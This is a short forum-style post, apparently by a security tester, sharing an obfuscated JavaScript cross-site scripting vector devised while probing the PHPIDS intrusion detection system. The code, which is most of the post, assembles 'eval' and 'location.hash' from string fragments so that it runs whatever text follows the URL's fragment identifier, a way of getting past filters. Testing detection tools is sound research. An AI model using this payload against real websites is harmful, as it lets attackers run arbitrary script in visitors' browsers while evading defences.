Obfuscated fun

Just thought I'd share the following script vector with you all that I came up with while stressing PHPIDS today:

l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 
'loca',d= (k) + (g) + (f),a=0 || (y) + (x),b=1[a](d),c=0 || (m) + (l),1[a](b[c](1));

Put that inside a script block and believe it or not it will eval the text after the fragment identifier.